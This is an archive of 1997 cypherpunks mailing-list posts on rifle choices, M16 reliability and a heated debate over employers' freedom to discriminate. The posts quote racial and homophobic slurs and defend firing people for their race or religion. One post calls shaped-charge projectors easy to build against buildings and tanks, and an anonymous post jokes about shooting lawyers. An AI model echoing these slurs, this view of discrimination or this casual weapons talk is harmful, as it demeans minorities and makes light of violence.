retail, or a Remington Varmint Synthetic for $700, retail. (Or any number
of fine bolt actions from Winchester, Ruger, Sako, Steyr, etc.)

Also, extreme long-range sniping is increasingly done with .50 BMGs, or
.338 Lapua, or, at the lower end, .300 Winchester Magnums. In all cases,
shot recovery is limited more by the shooter reacquiring the sight picture
than by cycling the action, so a semi-auto is mostly a waste of resources.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Tue, 23 Dec 1997 23:44:34 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <Pine.LNX.3.91.971222144853.3012B-100000@fatmans.demon.co.uk>
Message-ID: <ocryb1c2i2u.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley writes:

>> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
>> >Amendment issue have arisen? Of course not. In a free society, RealBig is
>> >free to hire whom it wishes, and to refuse to hire niggers, homos,
>> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
>> >managers at RealBig disliked.
>> 
>> Substitute "fascist society" for "free society" in the paragraph
>> above and the discussion begins to make some sense. Hell, it's even
>> historically accurate.

> Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
> hire people for any reason whatsoever? Do you think I should not be 
> allowed to refuse to hire people because of their race or sexual orientation?

> Should the government be able to take action against me because I fire 
> someone for being jewish/black/homosexual???

Welcome to the 20th Century, moron.

-- 
Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 00:12:07 +0800
To: cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <ocryb1c2i2u.fsf@ml.com>
Message-ID: <wT06He45w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Colin Rafferty <craffert@ml.com> writes:
>
> > Should the government be able to take action against me because I fire
> > someone for being jewish/black/homosexual???
>
> Welcome to the 20th Century, moron.

Such rudeness on a public mailing list reflects very badly on your
employer, ml.com.  I invite everyone to join me in complaing to ml.com
about Colin Rafferty's abuse of ML's Internet services.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Wed, 24 Dec 1997 01:05:21 +0800
To: brianbr@together.net (Brian B. Riley)
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <199712231618.LAA15730@mx01.together.net>
Message-ID: <199712231657.KAA26051@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Brian B. Riley wrote:
>   I had maybe a half dozen occasions where I put four to six 20 round
> mags (the Marines didn't start getting the 30 round mags til the Army
> got all theirs - sigh!) through my weapon on full auto in rapid
> succession and never had a jam.

Did it overheat?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 24 Dec 1997 00:46:45 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Lock and Load (fwd)
Message-ID: <199712231703.LAA25523@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Lock and Load (fwd)
> Date: Tue, 23 Dec 97 11:27:11 -0500
> From: "Brian B. Riley" <brianbr@together.net>

> >As to first semi-automatic in the country, I believe the 
> >Springfield 1903  
> 
>  Uhhhh ... 03 Springfield is a bolt action ....

True enough.

> up. It was designed in 1903 and first manufactured in 1905. It was, as
> I said, the first semi-auto marketed to the *civilian* market. There
> were other semi-auto's but were all military weapons.

There wasn't a distinction until the 1920's when the various 'gat' laws
because of gangsters, rum runners and such came into play.

I have a friend who is a gun collector. I 'll see if he happens to have one.
I wanna see this safety...

Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Wed, 24 Dec 1997 00:15:23 +0800
To: "landon dyer" <cypherpunks@toad.com>
Subject: Re: Best Cypherpunk long gun
Message-ID: <199712231607.LAA19016@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12/23/97 2:41 AM, landon dyer (landon@best.com)  passed this
wisdom:

>At 10:11 PM 12/22/97 -0800, you wrote:
>>
>>What is the best long gun for a Cypherpunk?
>
>A Solothurn, natch. For those who don't know: A circa 1938 20mm 
>anti-tank rifle; be sure to get the high power telescopic sight. 
>Why screw around? 
>:-)

  Is that the one that looks exactly like a BAR on steroids? Huge box
magazine held 8 or 10 rounds and humungous bipod and huge recoil pad
on the butt. I always wondered what kind of mutant it would take to
shoulder fire that thing!

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Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

"The reason worry kills more people than work is that more people worry
 than work" -- Robert Frost (1874-1963)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Wed, 24 Dec 1997 03:26:05 +0800
To: Colin Rafferty <fight-censorship@vorlon.mit.edu
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <"William H. Geiger III"'s message of "Tue, 23 Dec 97 11:31:35 -0600">
Message-ID: <3.0.5.32.19971223111038.007db820@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 12:55 PM 12/23/97 -0500, Colin Rafferty wrote:
>William H Geiger writes:
>> In <ocryb1c2i2u.fsf@ml.com>, on 12/23/97 at 10:30 AM, Colin Rafferty
<craffert@ml.com> said:
>>> Paul Bradley writes:
>
>>>> Should the government be able to take action against me because I fire 
>>>> someone for being jewish/black/homosexual???
>
>>> Welcome to the 20th Century, moron.
>
>> Really amazing how many so-called "freedom fighters" become STATIST if the
>> proper buttons are pushed.
>
>What are you talking about?
>
>Freedom of expression is not the same as freedom of oppression.


You aren't being oppressed the other party doesn't want to interact
with you, unless that party is government providing base services to all
(e.g. police/courts/border protection).

You *are* being oppressed if mutually consensual behavior is interfered
with by
others including the State.

You *are* being oppressed if you are coerced into a relationship you don't
want.

An employer-employee relationship is like a marriage or any other arrangement
between adults -mutually consensual.  Colin, do you consider
yourself oppressed when someone choses not to date you?  What about
a rejection by someone who takes out a public advertisement in the paper?

Freedom is only tested when it hurts.















------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Wed, 24 Dec 1997 00:27:51 +0800
To: <cypherpunks@toad.com>
Subject: Re: Best Cypherpunk long gun
Message-ID: <199712231618.LAA15730@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12/23/97 1:34 AM, Tim May (tcmay@got.net)  passed this wisdom:

>(The notion that the AR-15/M-16 "jams" is based on 35-year-old 
>early experiences in Viet Nam, using an early design and early 
>ammo. The jamming problems were fixed quickly, by changing the 
>forward assist, changing the ammo a little, and teaching soldiers 
>how to properly clean the weapon.) 

 In addition to that they chrome plated the chambers which eliminate
99% of the actions where the extractor would rip off the tail end of
the casing. "obturation" (almost microscopic expansion of the brass in
the chamber at ignition) and the coarser finish of the unplated
chambers coupled up to give a high percentage of jams. When the jam
was tough enough that the tail of the cartridge got ripped off the
poor trooper was up shits creek since he couldn't use a cleaning rod
to remove the shell ... a lot of M16s got bent around trees because of
that! By Nov 68 when I got in country the 1st MarDiv had replaced most
of its M16s with the newer chromed chamber models. I don't know about
other services or outfits.

  I had maybe a half dozen occasions where I put four to six 20 round
mags (the Marines didn't start getting the 30 round mags til the Army
got all theirs - sigh!) through my weapon on full auto in rapid
succession and never had a jam.


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Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "Give a man a fish and you have fed him for a day, but give him a case
  of dynamite and soon the village will be showered with mud and
  seaweed and unidentifiable chunks of fish." -Joe Chew






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Wed, 24 Dec 1997 00:33:16 +0800
To: "Jim Choate" <cypherpunks@ssz.com>
Subject: Re: Lock and Load (fwd)
Message-ID: <199712231626.LAA16143@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12/23/97 3:52 AM, Jim Choate (ravage@ssz.com)  passed this wisdom:

>As to first semi-automatic in the country, I believe the 
>Springfield 1903  

 Uhhhh ... 03 Springfield is a bolt action ....

 Rem Mod 8 is Browning semi-auto action essentially recoil operated
with the barrel inside a sleeve surrounded by a spring whihc recoiled
back with the bolt as well. The barrel spring had a stiffer constant
than the bolt spring so it strated forward frist effecting the
separation of bolt and reciever and stripping the round out straight
up. It was designed in 1903 and first manufactured in 1905. It was, as
I said, the first semi-auto marketed to the *civilian* market. There
were other semi-auto's but were all military weapons.

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Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "The ultimate consequence of protecting men from the results of their
  own folly is to fill the world with fools." -- Herbert Spencer







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 24 Dec 1997 01:58:09 +0800
To: Colin Rafferty <craffert@ml.com>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <ocryb1c2i2u.fsf@ml.com>
Message-ID: <199712231736.MAA17397@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <ocryb1c2i2u.fsf@ml.com>, on 12/23/97 
   at 10:30 AM, Colin Rafferty <craffert@ml.com> said:

>Paul Bradley writes:

>>> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
>>> >Amendment issue have arisen? Of course not. In a free society, RealBig is
>>> >free to hire whom it wishes, and to refuse to hire niggers, homos,
>>> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
>>> >managers at RealBig disliked.
>>> 
>>> Substitute "fascist society" for "free society" in the paragraph
>>> above and the discussion begins to make some sense. Hell, it's even
>>> historically accurate.

>> Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
>> hire people for any reason whatsoever? Do you think I should not be 
>> allowed to refuse to hire people because of their race or sexual orientation?

>> Should the government be able to take action against me because I fire 
>> someone for being jewish/black/homosexual???

>Welcome to the 20th Century, moron.

Really amazing how many so-called "freedom fighters" become STATIST if the
proper buttons are pushed.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Wed, 24 Dec 1997 03:47:41 +0800
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <199712230611.WAA27275@sirius.infonex.com>
Message-ID: <v03102801b0c5b2159540@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:39 PM +0100 12/23/1997, Lucky Green wrote:
>On Mon, 22 Dec 1997, Mix wrote:
>
>> What is the best long gun for a Cypherpunk?
>
>There are some howitzers that can deliver nuclear artillery shells at 50+
>miles. I think their barrels are pretty long.

Those looking for shorter range, large payload, weapons with small size and low weight should look into shaped-charge munition projectors.  Relatively easy to build and reliable, they can accelerate items to well over 10,000 fps (depending upon explosive used) and pretty accurately deliver multi-kilogram payloads over a 1/2 mile.  Good against buildings and hardened targets, like tanks, as at this velocity even more conventional projectiles can breech advanced armour.  Major shortcoming is they are use once items and not for close combat ;-)

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Wed, 24 Dec 1997 03:54:23 +0800
To: craffert@ml.com (Colin Rafferty)
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <ocru3bz3lrh.fsf@ml.com>
Message-ID: <199712231935.LAA19426@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



	I don't read fight censorship so I can see people flame each
other about freedom of association. Thank you.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@mrlizard.com>
Date: Wed, 24 Dec 1997 03:53:20 +0800
To: Colin Rafferty <fight-censorship@vorlon.mit.edu
Subject: [Off topic]Discrimination
In-Reply-To: <Lizard's message of "Tue, 23 Dec 1997 10:13:22 -0800">
Message-ID: <3.0.1.32.19971223114341.00bd03f0@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:25 PM 12/23/97 -0500, Colin Rafferty wrote:

>
>The logic is about patterns of discrimination of society and the State
>acting as a social engineer to remove the patterns.

In other words, rights belong to the collective, not to the individual. If
I deny Joe Smith a job for an 'approved' reason (which still has nothing to
do with his competence), then, too bad for Joe. But if I deny it for an
'unapproved' reason, equally unrelated to his competance, then I am denying
the job to ALL people who share that trait, everywhere. That's a
collectivist viewpoint.

Either a person -- a single, unique, individual -- has a right to compel
someone else to serve him, or he does not. The reasons for denying service
are irrelevant TO THAT INDIVIDUAL.

>It is about basic human decency, and giving a person a fighting chance.

All of which is fine, but why should it be compelled? Didn't you once say
that liberalism made the assumption that we were basically moral and should
be free to act, rather than the conservative view that we were basically
immoral and should be restrained?

>If society, in general, discriminated against people with freckles, it
>is likely that it would be made illegal.

So what good does this do the person dicriminated against, if there is NOT
a 'pattern' of it? He's still out of a job. This is the key point:It is the
INDIVIDUAL that matters. 

>> (Yes, it is perfectly legal to not hire someone based on star sign,
>> political affiliation, or having freckles.)
>
>> No human being has a right to compel service from another human being.
>
>No majority group has a right to discriminate against a minority.

There are no groups. There are only individuals. A job, or an offer of
goods or services, occurs between individuals -- not groups. If I am denied
employment, YOUR bank account does not shrink. If you are granted a high
paying job, I do not get rich. My hunger is not yours;yours is not mine. 

Further, every individual has a right to choose who they will and will not
associate with, based on whatever criteria they wish. I don't date mundanes
(non-fen). While the inability to have me as a boyfriend is no great loss,
I am nonetheless 'discriminating' against a large %age of the female
population (and 100% of the male population, FWIW). (Granted, a far larger
%age of the female population discriminates against me, as they refuse to
date overweight, unattractive, socially inept nerds. Whom do I sue?)

>
>Freedom of association is not the same as freedom of oppression.
>

Most people would claim not associating with me is liberating, not oppressing.

How is person 'a' oppressed because person 'b' decides, for whatever
reason, not to like them?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 24 Dec 1997 02:28:03 +0800
To: Colin Rafferty <craffert@ml.com>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <ocrwwgw2bd3.fsf@ml.com>
Message-ID: <199712231820.NAA17822@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <ocrwwgw2bd3.fsf@ml.com>, on 12/23/97 
   at 12:55 PM, Colin Rafferty <craffert@ml.com> said:

>William H Geiger writes:
>> In <ocryb1c2i2u.fsf@ml.com>, on 12/23/97 at 10:30 AM, Colin Rafferty <craffert@ml.com> said:
>>> Paul Bradley writes:

>>>>> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
>>>>> >Amendment issue have arisen? Of course not. In a free society, RealBig
>>>>> >is free to hire whom it wishes, and to refuse to hire niggers, homos,
>>>>> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
>>>>> >managers at RealBig disliked.
>>>>> 
>>>>> Substitute "fascist society" for "free society" in the paragraph
>>>>> above and the discussion begins to make some sense. Hell, it's even
>>>>> historically accurate.

>>>> Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
>>>> hire people for any reason whatsoever? Do you think I should not be 
>>>> allowed to refuse to hire people because of their race or sexual
>>>> orientation?

>>>> Should the government be able to take action against me because I fire 
>>>> someone for being jewish/black/homosexual???

>>> Welcome to the 20th Century, moron.

>> Really amazing how many so-called "freedom fighters" become STATIST if the
>> proper buttons are pushed.

>What are you talking about?

>Freedom of expression is not the same as freedom of oppression.

>If you want to live in a hut in Montana and shelter yourself from the
>real world, feel free.  Otherwise, it may be a good idea to check out
>social theories from the last hundred years.

Please explain to me where in the Constitution the government is given the
power to determin who I *must* associate with?? If I decide that I do not
wish to do business with anyone who's last name begins with the letter "R"
what gives you the right to say that I must?!?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 24 Dec 1997 02:28:56 +0800
To: Colin Rafferty <craffert@ml.com>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <ocrwwgw2bd3.fsf@ml.com>
Message-ID: <199712231823.NAA17857@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <ocrwwgw2bd3.fsf@ml.com>, on 12/23/97 
   at 12:55 PM, Colin Rafferty <craffert@ml.com> said:

>William H Geiger writes:
>> In <ocryb1c2i2u.fsf@ml.com>, on 12/23/97 at 10:30 AM, Colin Rafferty <craffert@ml.com> said:
>>> Paul Bradley writes:

>>>>> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
>>>>> >Amendment issue have arisen? Of course not. In a free society, RealBig
>>>>> >is free to hire whom it wishes, and to refuse to hire niggers, homos,
>>>>> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
>>>>> >managers at RealBig disliked.
>>>>> 
>>>>> Substitute "fascist society" for "free society" in the paragraph
>>>>> above and the discussion begins to make some sense. Hell, it's even
>>>>> historically accurate.

>>>> Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
>>>> hire people for any reason whatsoever? Do you think I should not be 
>>>> allowed to refuse to hire people because of their race or sexual
>>>> orientation?

>>>> Should the government be able to take action against me because I fire 
>>>> someone for being jewish/black/homosexual???

>>> Welcome to the 20th Century, moron.

>> Really amazing how many so-called "freedom fighters" become STATIST if the
>> proper buttons are pushed.

>What are you talking about?

>Freedom of expression is not the same as freedom of oppression.

>If you want to live in a hut in Montana and shelter yourself from the
>real world, feel free.  Otherwise, it may be a good idea to check out
>social theories from the last hundred years.

Please explain to me where in the Constitution the government is given the
power to determin who I *must* associate with?? If I decide that I do not
wish to do business with anyone who's last name begins with the letter "R"
what gives you the right to say that I must?!?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 24 Dec 1997 01:44:01 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <3ac13928b6f59bb84e63ac40da871a6b@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



At 10:11 PM 12/22/97 -0800, you wrote:
>What is the best long gun for a Cypherpunk?
>
>
You didn't say if you were interested in a trophy or just filling the freezer nor if you would be in open country or in the bush. A good all around choice would be one of the medium power thirty caliber cartridges.  It would be prudent to use ammunition lo!
aded with well constructed bullets because some Cypherpunks are thick skinned, particularly those with law degrees. 

LongPigMuncher       





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Wed, 24 Dec 1997 02:09:58 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <199712231736.MAA17397@users.invweb.net>
Message-ID: <ocrwwgw2bd3.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



William H Geiger writes:
> In <ocryb1c2i2u.fsf@ml.com>, on 12/23/97 at 10:30 AM, Colin Rafferty <craffert@ml.com> said:
>> Paul Bradley writes:

>>>> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
>>>> >Amendment issue have arisen? Of course not. In a free society, RealBig
>>>> >is free to hire whom it wishes, and to refuse to hire niggers, homos,
>>>> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
>>>> >managers at RealBig disliked.
>>>> 
>>>> Substitute "fascist society" for "free society" in the paragraph
>>>> above and the discussion begins to make some sense. Hell, it's even
>>>> historically accurate.

>>> Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
>>> hire people for any reason whatsoever? Do you think I should not be 
>>> allowed to refuse to hire people because of their race or sexual
>>> orientation?

>>> Should the government be able to take action against me because I fire 
>>> someone for being jewish/black/homosexual???

>> Welcome to the 20th Century, moron.

> Really amazing how many so-called "freedom fighters" become STATIST if the
> proper buttons are pushed.

What are you talking about?

Freedom of expression is not the same as freedom of oppression.

If you want to live in a hut in Montana and shelter yourself from the
real world, feel free.  Otherwise, it may be a good idea to check out
social theories from the last hundred years.

-- 
Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Wed, 24 Dec 1997 02:43:56 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <199712231823.NAA17857@users.invweb.net>
Message-ID: <ocrvhwf3o7w.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



William H Geiger writes:
> In <ocrwwgw2bd3.fsf@ml.com>, on 12/23/97 at 12:55 PM, Colin Rafferty <craffert@ml.com> said:
>> William H Geiger writes:
>>> In <ocryb1c2i2u.fsf@ml.com>, on 12/23/97 at 10:30 AM, Colin Rafferty <craffert@ml.com> said:
>>>> Paul Bradley writes:

>>>>>> >Suppose RealBig Corporation fired Umbehr for his views. Would a First
>>>>>> >Amendment issue have arisen? Of course not. In a free society, RealBig
>>>>>> >is free to hire whom it wishes, and to refuse to hire niggers, homos,
>>>>>> >perverts, Jews, whatever. And to fire anyone who wrote opinions the
>>>>>> >managers at RealBig disliked.
>>>>>> 
>>>>>> Substitute "fascist society" for "free society" in the paragraph
>>>>>> above and the discussion begins to make some sense. Hell, it's even
>>>>>> historically accurate.

>>>>> Wrong, do you dispute the fact that RealBig corp. is free to refuse to 
>>>>> hire people for any reason whatsoever? Do you think I should not be 
>>>>> allowed to refuse to hire people because of their race or sexual
>>>>> orientation?

>>>>> Should the government be able to take action against me because I fire 
>>>>> someone for being jewish/black/homosexual???

>>>> Welcome to the 20th Century, moron.

>>> Really amazing how many so-called "freedom fighters" become STATIST if the
>>> proper buttons are pushed.

>> What are you talking about?

>> Freedom of expression is not the same as freedom of oppression.

>> If you want to live in a hut in Montana and shelter yourself from the
>> real world, feel free.  Otherwise, it may be a good idea to check out
>> social theories from the last hundred years.

> Please explain to me where in the Constitution the government is given the
> power to determin who I *must* associate with?? 

Given that the Civil Rights Act of 1964 was upheld as Constitutional, I
would generally use that as an argument.

> If I decide that I do not
> wish to do business with anyone who's last name begins with the letter "R"
> what gives you the right to say that I must?!?

No one.  In fact, sometimes I wish that you would :-).

On the other hand, if a law were passed that made it illegal, and the
Supreme Court found it constitutional, then it would be.

-- 
Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 23 Dec 1997 20:44:40 +0800
To: cypherpunks@toad.com
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <199712230611.WAA27275@sirius.infonex.com>
Message-ID: <Pine.BSF.3.96.971223133750.13292A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 22 Dec 1997, Mix wrote:

> What is the best long gun for a Cypherpunk?

There are some howitzers that can deliver nuclear artillery shells at 50+
miles. I think their barrels are pretty long.

:-)
-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Wed, 24 Dec 1997 06:00:30 +0800
To: Colin Rafferty <fight-censorship@vorlon.mit.edu
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <David Honig's message of "Tue, 23 Dec 1997 11:10:38 -0800">
Message-ID: <3.0.5.32.19971223134123.007e07f0@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 02:37 PM 12/23/97 -0500, Colin Rafferty wrote:
>
>You are not being coerced into anything.  If you don't want to serve
>food to Blacks, don't open a restaurant.  It's your choice.

Where do you get the right to tell others how they can make a living?

>By the way, you are also not allowed to dump toxic waste in your own
>backyard.  Are you being oppressed?

I am not allowed to place toxic waste, or noise, where it can affect
others; I can 
ingest toxins privately and listen to whatever music I like so long as you
don't detect it in your backyard.

>> An employer-employee relationship is like a marriage or any other
arrangement
>> between adults -mutually consensual.
>
>In a fantasy world, it is mutually consensual.  It the real world, it is 
>seldom mutual.

You prefer a shotgun or otherwise arranged marriage?

>>> Colin, do you consider
>> yourself oppressed when someone choses not to date you?  What about
>> a rejection by someone who takes out a public advertisement in the paper?
>
>Nope.  Of course, this has nothing to do with anything.

Private behavior is private behavior, and trade is a private behavior.


>> Freedom is only tested when it hurts.
>
>With freedom comes responsibility.  Decency is one of them.
>
>-- 
>Colin

But obligate decency at gunpoint is not worth it.




------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: travish+cp-01@dejanews.com
Date: Wed, 24 Dec 1997 04:04:14 +0800
To: cypherpunks@toad.com
Subject: [fs] Contemporary Cryptology Book
Message-ID: <199712231945.NAA19351@byers.dejanews.com>
MIME-Version: 1.0
Content-Type: text/plain



I found this at a local half-price bookstore.  I purchased a copy
for myself and was wondering if any of you wanted one.  I do not
intend to make any money off of this, I am simply doing it as a
favor for fellow crypto-enthusiasts.  I believe it would make an
excellent companion to "Applied Cryptography".  The tone is what
you would expect from IEEE Press; more theoretical than A.C.,
not shying away from the discrete mathematics but without losing
sight of the subject, either.  There is some mention of the uses
of cryptography applications like tamperproofing nuclear monitoring
equipment, and other relatively cool stuff.

It is apparently a brand new, undamaged book, sold for half price,
or about $45.  I'll sell it for what I will pay, plus s/h (your
choice of carriers), plus COD charge if not prepaid.  It is on hold
for me until Saturday, so email me soon if you're interested.

Here is the original blurb:

http://www.ieee.org/ieeestore/compbk.html#pc2717 

> An all-in-one guide to the science of information integrity...
>
> Contemporary Cryptology: The Science of Information Integrity
>
> edited by Gustavus J. Simmons, Sandia National Labs Albuquerque, NM
>    
> This original source book covers all aspects of the subject with
> emphasis on the cryptographic elements. In addition to being an
> introductory guide to the latest developments, this volume provides
> the engineer and scientist with algorithms, protocols, and applications.
>
> Copyright 1992/Hardcover/656pp
> List Price: $89.95
> Member Price: $77.00
> IEEE Order No. PC2717-QAJ
> ISBN 0-87942-277-7
--
Travis Hassloch / travish@dejanews.com / http://www.dejanews.com
Deja News System Defenestration Group  / "When news breaks... we fix it"
PGP key C7FDD3D5 fgpt 7A 48 DD 46 E6 7F 11 E7  8F 7E 53 9A DF 33 9E FA





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 23 Dec 1997 23:02:43 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: C2net bashers... well let's hear it
In-Reply-To: <199712221932.TAA00384@server.eternity.org>
Message-ID: <Pine.LNX.3.91.971223140651.3905A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Paul Bradley <paul@fatmans.demon.co.uk> writes:
> > Yes, those on the list a few months ago [...] will remember
